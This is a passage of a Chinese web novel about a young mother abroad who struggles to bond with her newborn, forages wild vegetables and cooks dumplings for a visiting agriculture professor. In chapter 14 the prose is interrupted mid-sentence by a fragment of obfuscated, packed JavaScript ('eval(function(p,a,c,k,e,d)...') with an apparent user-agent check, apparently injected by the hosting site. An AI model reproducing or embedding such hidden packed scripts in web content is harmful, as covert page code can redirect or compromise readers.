“十分抱歉,布朗先生,鸡腿、土豆和蔬菜都吃完了,不介意的话,卤汁拌饭可以吗?”林晴天感到非常抱歉,忘了M国人和Z国人不一样,Z国更重视午餐,而M国觉得午餐吃得过好会影响工作,所以晚饭才是他们一天中最重要的一餐。 “当然可以,只要是安太太做的菜,给吃什么我都乐意,上帝一定亲吻过你的手。”布朗高高递去餐盘,眼里全是对美食的渴望。 可把林晴天哄开心了,笑得眉眼弯弯,接过餐盘去厨房盛饭,安清风跟进来,帮她揭开砂锅锅盖,热气腾腾的卤味扑面而来。 “吃饱了吗?要不也给你再盛一碗?”林晴天看丈夫咽口水,笑问。 “吃饱了,”安清风放回锅盖,站在一旁,看着妻子贴心地帮布朗将卤汁饭搅拌均匀,“你的厨艺大有长进。” 母亲在世时,林晴天虽然会做饭,但很少下厨,后来上大学乃至婚后住在华人街,更没机会展示。 不过两人毕竟一同生活了这么多年,她的手艺,没人比安清风清楚。 “布朗先生不是说了吗?”遗传是一方面,最重要的还是林晴天上辈子开过中餐馆,当然她是不会告诉丈夫的,她用开玩笑地方式,将手递到安清风面前,“上帝亲吻了我的手。” 说着,手背贴上安清风的唇,并迅速收回,凑到他耳畔,语气暧昧地呢喃道:“哦,我亲爱的上帝。” 等安清风回神,林晴天已经端着卤汁饭,扭着腰肢,欢快地走出了厨房,留下他在原地摸摸自己的唇,无奈又宠溺地摇摇头。 14. 第 14 章 安清风意识到一个非常严重的问题,他刚坐完月子的妻子似乎对他动了“非礼”之心,尤其从昨晚开始越来越明显,总会目光灼灼地盯着他笑。 生完孩子最少要等42天才能同房,不然对女方身体伤害极大,就在安清风不知道怎么开口劝妻子的时候,林晴天突然开口问他:“怎么不穿布朗先生送的机车服啊?” 正在给女儿拍奶嗝的安清风手上动作一顿,虽然妻子一直以来都很热情,但他还是万万没想到,她居然想跟他玩制服诱惑? “你穿机车服骑摩托车,一定很帅气。”林晴天呲着个牙傻乐呵,禁欲斯文的丈夫,换上骚气的机车服,那画面光是想想都很有冲击力。 不是要玩制服诱惑。 安清风暗舒一口气的同时,心中有过失落,他将打完奶嗝的女儿放回婴儿床上,说,“今天周末,不去学校。” 林晴天眨眨眼睛,笑眯眯地和丈夫打起商量,“要不你就搁屋里穿给我看看?” “口水流下来了,”安清风走过去,手指擦过她的嘴角,“来日方长,以后多的机会穿。” 林晴天望着丈夫俊俏的脸庞,痴痴道,“你长得好看,穿什么都好看,不穿最好看。” 安清风不自在地轻咳一声。 “好了,不逗你了,”林晴天哈哈笑地下床去看女儿,小茄子吃饱喝足,昏昏欲睡,林晴天用手轻轻地在她脸上戳一下,陷进去一个浅浅的肉涡,她发出感叹:“天,太神奇了,我生了一个人,居然不是一个葫芦娃,也不是一个哪吒,她是一个活的人!好可爱。” 如果她抱她不哭就更可爱了,林晴天没想到自己产后的第一个焦虑会是这个。 女儿午觉睡醒,丈夫在后院收拾锄出来的野草,约瑟夫出门忙开店的事儿了,婴儿车旁只有林晴天。 “小茄子乖,妈妈抱啊。”林晴天苍蝇搓手,终于等来她们母女单独相处,她小心翼翼地将她抱起来。 小茄子太软了,林晴天感觉自己捧了一条还没醒发好的面团。 一月龄的小宝宝视力范围在15—20厘米,就算站在她面前,也仅能看清对方的轮廓,他们只能通过声音认人。 听出不是外祖父也不是爸爸抱的她,小茄子小嘴一撇。 林晴天紧张地连声喊停,“别别别别别别……” 小茄子不买账,她刚睡醒,没有安全感,需要外祖父或爸爸抱抱,“哇——” “小茄子,妈妈呀,我是妈妈!”林晴天试图唤醒女儿在肚子里时,她天天对她自言自语的回忆,可是最终还是失败了,小茄子哭得可伤心了,大颗大颗的金豆子往下掉,林晴天从不知所措到懊悔不已,甚至害怕女儿也有上辈子的记忆。 想得越多越崩溃,林晴天跟着哇地哭起来。 在后院的安清风听到哭声,扛着竹耙跑来,看到哭成一团的母女俩,他登时哭笑不得。 洗了手,接过女儿,搂在臂弯里,另一只手揽着妻子的肩膀,左右开弓,恨不得自己再多长一张嘴,好不容易才哄好,问妻子:“怎么也哭了?” 林晴天抽抽搭搭,“小茄子哭,我哄不好,越哄越着急,急哭了。” 安清风捋了捋糊到妻子脸上的碎发,“不是说了吗?多处处就好了。” “多处了啊,可是她就不认我。”女儿对自己不熟,林晴天出月子就有所察觉,便时常想在女儿面前混脸熟,比如女儿喝奶、换纸尿裤、玩耍……随时随地都探出脑袋打招呼,并一遍一遍地介绍自己是妈妈。 可是起效堪忧。 安清风委婉地劝道:“要不换个法子?” 神出鬼没地钻个头出来,别说小朋友,就是成年人也得让她吓一跳。 林晴天陷入沉思,那换什么法子好呢? “你慢慢想,我先去干活。”安清风想趁休息把后院都收拾出来,妻子才好早点种上菜。 林晴天心不在焉地摆摆手,坐到婴儿车旁边的长椅上,继续想法子的时候,忽觉有东西在拱自己,低头一看,是巴迪。 它想挤到她的腿和婴儿车中间,可是空间有限,巴迪不死心,埋头使劲钻。 “巴迪,别怪我说话难听,你对自己的体重没点数吗?这点位置根本容不下你。”林晴天扒拉它的脑袋。 巴迪不服气地摇晃尾巴,毛绒绒的一条甩林晴天,“汪汪汪……” 林晴天觉得痒,只能往旁边挪了挪,巴迪如愿以偿地坐到了她和婴儿车之间,探头张望小茄子。 小茄子似乎认出了它,高兴地舞动小手小脚。 巴迪斜楞林晴天一眼,林晴天在一条狗脸上看到了显摆,天都塌了。 外祖父和爸爸就算了,怎么连一条狗都可以! 林晴天抓耳挠腮,死脑子,快想法子啊,不能让狗看不起。 在隔壁院子玩耍的大卫和小乔治看到林晴天狠起来连自己都揍,大卫吓得尖叫一声跑了。 林晴天闻声抬头,大卫已经跑没了影,不过他今天倒是没哭。 就剩小乔治,睁着一双懵懂的大眼睛,眼巴巴地看着她,林晴天朝他招招手,小乔治抱着他的橡胶娃娃,乖乖地走过来和她握手。 林晴天忍不住捏他的小脸蛋,突然灵机一动有了主意,大卫现在仍然怕她,但不会见到她就哇哇哭,而小乔治一开始就喜欢她,都是应了Z国那句老话——有奶就是娘。 林晴天将跃跃欲试的目光转向婴儿车里的女儿,嘿嘿一笑。 一个小时后,小茄子该喝奶了,安清风从后院回来,洗了手把女儿抱上二楼,林晴天赶紧跟上。 将女儿放到婴儿床上后,去兑奶粉,安清风回头看到坐在床边“坦胸漏、乳”的妻子。 他脸一红,背过身,装作很忙地使劲摇晃手里的奶瓶。 林晴天催他:“好了吗?小茄子都饿了。” “你先把衣服穿上。”安清风头也不回地说。 “穿衣服怎么喂奶?”林晴天拿走安清风手里的奶瓶,用衣服绑在自己的胸前,“清风,快把小茄子抱给我。” 安清风一头雾水,女儿一直喝的奶粉,妻子要自己喂奶?虽然不解,依言照做,将婴儿床里的女儿抱起来。 林晴天没喂过奶,但看过猪跑,她侧着身子,拍拍旁边的位置。 安清风已经足够小心翼翼,但还是瞥到了妻子被捆得五花八门的胸口,林晴天怀孕前身材就十分丰腴,生产后,因为没有母乳,罩杯更加大了一圈,所以即便是衣服不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“噗——”小茄子放了个响亮的屁,把自己吓一哆嗦,看着女儿懵懵的表情,林晴天笑出声。 小茄子用手捂住眼睛。 哈哈哈,害羞了。 林晴天稀罕地将女儿抱起来,小茄子躺在妈妈的臂弯里,困得打了好几个小哈欠,但肚子仍然痛痛。 想睡又睡不着,痛痛又不会说,小茄子好委屈地瘪着小嘴。 林晴天解开外套,让女儿趴在自己身上,妈妈暖呼呼软乎乎的肚子,小茄子很喜欢。 没过会儿,听到女儿平稳的呼吸声,林晴天悬着的心这才平稳落地,她拉过毯子,盖在女儿和自己身上,很快也睡着了。 醒来是两个小时后,林晴天看了眼墙上的钟,平时早该起来喝奶了,今天怎么睡了这么长时间? 该不会! 林晴天心脏漏跳一拍,该不会让自己捂死了吧?! 低头一看,呼——被子没有盖住小茄子的脑袋。 可是,为什么还不醒? 女儿,你可别吓妈妈啊,林晴天颤抖的手去摸小茄子的鼻子。 15. 第 15 章 还有呼吸。 自己吓自己! 林晴天拍拍胸口。 睡太久,林晴天想上厕所,慢慢地挪动小茄子,离开妈妈暖呼呼肉乎乎的肚子,小茄子一下就醒了,哼唧两声。 林晴天如同雷劈,不要哭啊。 妈妈不上厕所了! 好在这时,安清风回来了,推门进来,看到憔悴了不少的妻子,连忙关心地问道:“怎么了?哪儿不舒服吗?” 林晴天吸吸鼻子,欲哭无泪,“我要憋不住了。” 安清风抱走小茄子,林晴天如获大赦,跳下床跑去卫生间,释放完出来,刚要说女儿好像有肠绞痛问题,就看到丈夫已经在帮女儿按摩。 比她做的腹部按摩复杂很多。 “这是专门缓解肠绞痛的小儿推拿,以后每天帮小茄子做一次到两次,把二月熬过去就好了。”安清风给妻子解释道。 “你不是学的建房子吗?怎么还会小儿推拿?”林晴天仔细记下丈夫的动作,以便自己在家时给女儿做。 “小橘子也有肠绞痛,三姑奶请了镇上的老中医帮他推拿,我看了一遍。” “看一遍就记住了?”没有对比就没有伤害,她看一遍只记住了一个动作,林晴天叹气。 “有我在,肯定教会你,不管多少遍。”虽然他每天都要回家,但安清风还是想教会妻子推拿,不想她一个人的时候手足无措,授人以鱼不如授人以渔。 做完推拿,小茄子精神恢复不少,一口气喝了150毫升的奶,安清风边拍女儿奶嗝边问妻子:“一个人在家忙坏了吧?” “感觉没忙什么,一天就过去了。”安清风昨天已经把后院收拾出来了,林晴天本来计划今天去趟华人街,看看能不能买到合适的菜种或菜苗。 听妻子说起此事,安清风突然想起,“农学院从Z国新进了一批菜种,听说已经育成了苗,最近就要移栽了。” 林晴天知道康奈尔大学试验地在哪儿,眼珠子滴溜溜一转,安清风眼疾手快摁住妻子:“谁家好人偷鸡摸狗,小心被遣送回国。” 林晴天休学后,去领事馆办的临时居住证,为期3个月,到期需提前办理延长。 小茄子在M国出生,户口上在约瑟夫家里,林晴天和安清风商量过了,等他们回国,女儿就随他们迁回去,还算方便。 一旦被遣送回国,就成孤家寡人了,为了几根菜苗,不值当,林晴天立马打消偷了菜苗的念头。 “明天我先去学校拜访农学院的加西亚教授,看有没有可能借到菜苗或菜种。”毕竟是公家财物,私人赠送有违规举,如果是借的话,打一份申请,走流程或许还有机会。 虽然加西亚教授是出了名的难接近,但妻子之思虑,安清风作为丈夫怎么也要想尽办法帮忙解决。 “能借就借,借不到,我就去华人街买,一切都是最好的安排,你不要有太大的压力。”林晴天从后面抱住丈夫。 安清风太有责任感了,什么都往身上揽,这样活得太累了。 安清风覆上妻子环在他腰间的手,目光柔和地看着婴儿床里的女儿,点点头,“好。” 菜种的事情先交给安清风,约瑟夫今天在家带小茄子,吃完中午饭,林晴天无事一身轻,就和赵诗琪出门挖野菜了。 M国社区的绿化做得很好,随处可见的葱葱绿绿,林晴天前两天和安清风遛娃的时候,就在绿化丛里发现了不少野菜——蒲公英、羊角芹、车前草、荨麻…… 其中不乏中药材,不过她和丈夫都不专业,不然非得挖回去,开一家中药铺。 这个季节数车前草最鲜嫩,林晴天打算摘回去凉拌着吃,赵诗琪却拿了车钥匙,说要带她去个好地方。 约莫半小时车程,赵诗琪将车停在路边,带着林晴天走进了一片原始森林,介绍道:“这边野菜品种更多,到了雨季,我们还能来采蘑菇。” 林晴天眼睛亮堂堂,四处张望,“你怎么发现这种好地方的?” “我妈来采过木耳,那种很小很小的木耳,拌来吃很脆。”赵诗琪不喜欢吃又软又大的木耳,觉得口感不好。 “我也喜欢吃小木耳,到季节了,我们一块来采。”林晴天和赵诗琪约好。 两人往林子里面走了一百多米,一阵浓烈的蒜味扑鼻而来,真是好大一片野蒜。 林晴天如获至宝,跑上去,用手扒开一丛,发现根本不是野蒜,而是他们在国内吃的蒜苗。 而且比平时见到的蒜苗长得好太多了,枝叶肥硕,绿得能滴出水来。 林晴天拔了一把起来,蒜头带着些许泥土,再次确定了,没错,就是蒜苗! “赵姐,是蒜苗耶!”林晴天高兴地跳起来,国外超市可不卖蒜苗,就连华人街那边也没见过。 她已经一年多没吃过蒜苗了。 蒜苗回锅肉、蒜苗炒腊肉、蒜苗炒豆干…… “这边没人吃蒜苗,也不认识,他们把它当做野草,任由自生自灭,但是森林土地肥沃,加上很少有人进来踩踏,这才一年比一年长得好。”赵诗琪帮忙拔蒜苗,她有轻微的洁癖,一边拔一边摘掉蒜头须,经过处理后的蒜苗根,跟葱白一样。 “便宜我们了,”林晴天看赵诗琪已经摘了一大把蒜苗,阻止道:“这些就不摘了,把根留起来,可以多放几天。” 虽然离得不远,但也要开半个小时的车,还是放冰箱更方便。 “没人管的话,蒜苗可以长到自然成熟,等长成大蒜,挖回去种自己院子里,想吃了拔几根。” “既有蒜苗吃,又能保留森林绿植。”赵诗琪觉得林晴天这个主意不错,自己种自己吃,不然过度采摘,很可能引起森林管理局注意,担心野蒜灭绝,做出相应措施。 采完野蒜,林晴天想着说不定还有其他菜,就拉着赵诗琪多走了一段。 结果,逛到最后,把自己绕迷路了,两个人走了半天才找到出口,却不是她们停车的地方,而是一大片农场。 “也不知道这是哪里?晴天,我们去找农场主问问。”放眼望去,一群啃草的乳绵羊,连个人影都见不着,赵诗琪正在忧愁,一道人影闯进视线。 欣喜过后,赵诗琪如烟眉微蹙,那不是林晴天吗?刚刚还跟她一块,怎么跑那边去了? 阳光下,林晴天挥手,笑得无比灿烂:“赵姐,快来啊,好多荠菜。” 赵诗琪不禁发笑,她可真心大啊。 等她过去,林晴天已经用树枝撬了好几窝荠菜,捡起其中一窝展示给她看:“你看多肥嫩,包饺子那叫一绝。” 赵诗琪在国内的时候,很喜欢吃荠菜饺子,但M国的猪肉膻味太重了。 “包荠菜鸡蛋馅可以吗?”赵诗琪蹲下来和林晴天一块挖荠菜,林晴天一副我懂你的表情,挑眉道:“必须可以,也可以包荠菜牛肉馅,赵姐,你闻闻,这太香了,我口水都快流下来了。” 本来没多馋的赵诗琪受其感染也咽了咽口水,化胃力为动力,和林晴天埋头挖荠菜,再顾不得洁癖为何物。 挖了一身汗,林晴天脱下外套装荠菜,刚打包好,农场主出现了,手拿一把猎枪,“噢,快停下来,你们两个偷羊贼,信不信我送你们去见上帝!” 林晴天打一哆嗦,赶紧放下包裹,和赵诗琪举起双手,缓缓地转过身,“亲爱的农场主先生,请您听我们说,我们并不是偷羊贼。” 看清“偷羊贼”的脸,威尔逊惊呼一声:“Sunny,赵,怎么是你们?” “威尔逊先生?”林晴天也很诧异,没想到她们在森林里迷路,居然走到了老熟人的农场。 “你来称体重吗?为什么不走前门?你父亲没跟你们来吗?”威尔逊一连三问。 猎枪快怼到林晴天脸上,她缩着脖子往后躲,讪笑道:“威尔逊先生,您可以先把武器收起来吗?如你所见,我们并不是偷羊贼。” “噢,太抱歉了,吓到你和赵了。”威尔逊收起猎枪,看到被扔到地上的外套里面装的确实不是他养的乳绵羊,再次道歉后,不解地问:“你们挖野草做什么?” 约瑟夫老伙计现在日子这么难过了吗?居然让最心爱的女儿出来挖野草吃。 威尔逊为人坦荡,心中所想全在脸上。 林晴天连忙解释道:“这些不是野草,在Z国是一种蔬菜,可以做出美味的食物。” “沙拉吗?”对土生土长的威尔逊来说,蔬菜做成食物的话,那就只能是沙拉了。 而他,并不喜欢吃沙拉。 解释不清楚了,林晴天决定:“亲爱的威尔逊先生,为了表达对您的谢意,等我回去用这些野菜做成食物了,一定让我爸爸给您送一些过来品尝。” “噢,我的上帝,你是我见过最乖巧的孩子,”威尔逊感动,并承诺道,“以后我家农场上的野草,你想挖多少挖多少。” “谢谢您,威尔逊先生。”林晴天感激不尽,哈哈哈,以后就有吃不完的荠菜饺子荠菜包子了。 威尔逊得知林晴天她们的车停在原始森林的另一边,非常热情地提出要开车送她们过去,往农场前门走的路上,看到在草坪上带孩子的贝蒂,和一个不认识的中年男人。 “赵,怎么是你?”贝蒂见到赵诗琪很高兴,迎上来打招呼,“这位是你妹妹吗?” 林晴天想起贝蒂夸赞赵诗琪的话,心头一紧,别别别,千万别客气了。 可是,怕什么来什么。 贝蒂上下打量林晴天后,发自内心地夸道:“你肤色比赵还要深,穿衣服果然好看,你的脸也比赵大,而且圆圆的像月亮,真的太漂亮了。” 林晴天嘴角抽搐,对方表情太真挚了,让她怀疑人生。 “你们在哪里挖的蒜苗?长得真肥美。”中年男人看到林晴天菜篮里的蒜苗,十分感兴趣地走上来搭话。 林晴天没听清楚,以为说的她,连连摆手否认:“谁肥美?我不肥美。” “他说的蒜苗,没有说你,”赵诗琪小声安抚林晴天,“你一点不胖,刚刚好。” 林晴天情绪来得快去得也快,上一秒生无可恋,下一秒就笑哈哈了,“您认识蒜苗,看来是行家了。” 中年男人戴一副眼镜,神情庄重严肃,林晴天猜测他的职业是老师。 威尔逊介绍:“这位是加西亚教授,在康奈桥大学农学院教书,他今天来农场是想借一些猪粪回去施肥试验 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“不是,加西亚教授,你听我解释,我们只是身在异国,太想念故国食物了,我发誓我一定会把菜种好的,而且只会用于自家食用,绝对不会拿去市场售卖。” 加西亚沉思片刻后,问:“你会做Z国美食?” 林晴天郑重表示,“我喜欢做饭,加西亚教授,如果不信,我可以邀请您到家里共进晚餐。” 加西亚眼神有过松动,但神情仍是严厉,“你会做番茄炒蛋吗?” 林晴天非常自信:“我保证您会喜欢我做的番茄炒蛋。” 加西亚抬了抬鼻梁上的眼镜,“那就打扰了。” 虽然菜种的事情,暂且没有谈拢,但加西亚没再一口拒绝,那就说明还有回旋的余地。 林晴天充满了希望,决定晚上要给加西亚教授做一顿丰富的中式晚餐。 加西亚和她们一同回家,赵诗琪先回隔壁看孩子,林晴天把加西亚介绍给约瑟夫后,由约瑟夫负责招待客人,她去厨房准备晚餐。 家里还有两个番茄,正好可以用来炒蛋。 没有新鲜牛肉,那就包荠菜鸡蛋饺子好了,找了一圈,没有找到合适的肉类炒蒜苗,总不能又是鸡蛋吧?虽然蒜苗炒鸡蛋也挺好吃。 就在林晴天愁得抠脑袋的时候,突闻一股很浓郁的腊肉香,回头一看,赵诗琪手提一块老腊肉走了进来。 “我妈去年做的川省腊肉,剩了一块挂在阁楼里,今天挖蒜苗,我才想起来。”赵诗琪说。 林晴天扑过去抱住她,“赵姐,简直是活菩萨转世,雪中送炭啊。” 解了她燃眉之急。 蒜苗炒腊肉,没有什么比这个更完美的搭配了。 “我也想吃了。”赵诗琪将腊肉交到林晴天的手里,温柔地鼓励道,“我相信你的手艺,一定会惊艳加西亚教授。” 腊肉太香了,林晴天忍不住闻了闻,“有婶子做的这块腊肉加持,一定会让加西亚教授吃满足。” 孩子们在草坪上踢球,厨房就能看到,赵诗琪留下来打下手,她做不来菜,但摘菜洗菜总是会的。 在农场挖的荠菜,沾了很多泥灰,摘完后,需要一片一片地清洗,很费功夫。 林晴天将揉好的面团盖上湿布,静放一段时间会更柔软,和赵诗琪一起洗净芥菜后,焯水一分钟,捞出冲凉,挤干里面的水分,切碎备用。 打七个鸡蛋煎成饼盛出,切成和芥菜一样的碎末,将两种食材混合在一起,放入葱花少许,胡椒粉少许,盐少许,最重要的一个步骤,那就是多放两勺麻油,可以中和荠菜的干涩。 馅料调好后,林晴天开始擀饺子皮,双手握住面杖前后滚动,面饼随之变大变薄,夕阳的余晖下,赵诗琪看到她额头汗水的微光。 五月天并不热,可见做饭也是体力活。 赵诗琪用手帕帮她擦拭额角,“晴天,每天做饭会不会很累?” “怎么说呢?”林晴天手上动作继续,想了想,回答道:“肯定累啊,但是,厨房对我来说,不是战场,而是能量站,取悦自己的同时,还能温暖他人。” 擀好饺子皮,放到左手掌心,右手放入馅料,两手合在一起,用力一捏,一个白白胖胖的饺子就完成了。 林晴天摊开给赵诗琪看,“在烟火气中,活成自己喜欢的样子,多好。” 说这话的时候,她眼里有笑,有光。 “我喜欢做饭,毋容置疑,但讨厌收拾也是事实,幸好我爸和清风自觉,不然早撂摊子不干了。”林晴天话锋一转道。 “晴天,你教我包饺子吧。”赵诗琪想成为林晴天口中的自觉人士。 林晴天暧昧挑眉,“学有所成后,给深夜加班回来的史密斯先生做一碗爱心夜宵吗?” 赵诗琪抿嘴微笑,不作声。 林晴天就当她默认了,“当语言表达显得苍白,美食对增加亲密关系非常有效,接受者可以从味觉体验中感受到被爱的温暖。” 赵诗琪嘴角笑意更深了些,不好意思跟林晴天坦白,她想学包饺子,绝非为了丈夫,而是不想被林晴天嫌弃,想吃一辈子她做的饭菜。